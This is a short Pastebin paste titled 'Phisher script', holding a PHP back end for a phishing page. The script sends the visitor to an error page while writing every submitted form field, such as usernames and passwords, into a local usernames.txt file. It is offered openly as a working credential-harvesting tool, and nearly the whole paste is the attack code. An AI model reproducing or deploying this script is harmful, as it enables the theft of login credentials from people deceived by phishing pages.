rishcool94

Phisher script

Nov 24th, 2011
2,299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.32 KB | None | 0 0
  1. <?php
  2. header ('Location: http://www.myhost.com/errorpage.html');
  3. $handle = fopen("usernames.txt", "a");
  4. foreach($_POST as $variable => $value)
  5. {
  6. fwrite($handle, $variable);
  7. fwrite($handle, "=");
  8. fwrite($handle, $value);
  9. fwrite($handle, "\r\n");
  10. }
  11. fwrite($handle, "\r\n");
  12. fclose($handle);
  13. exit;
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment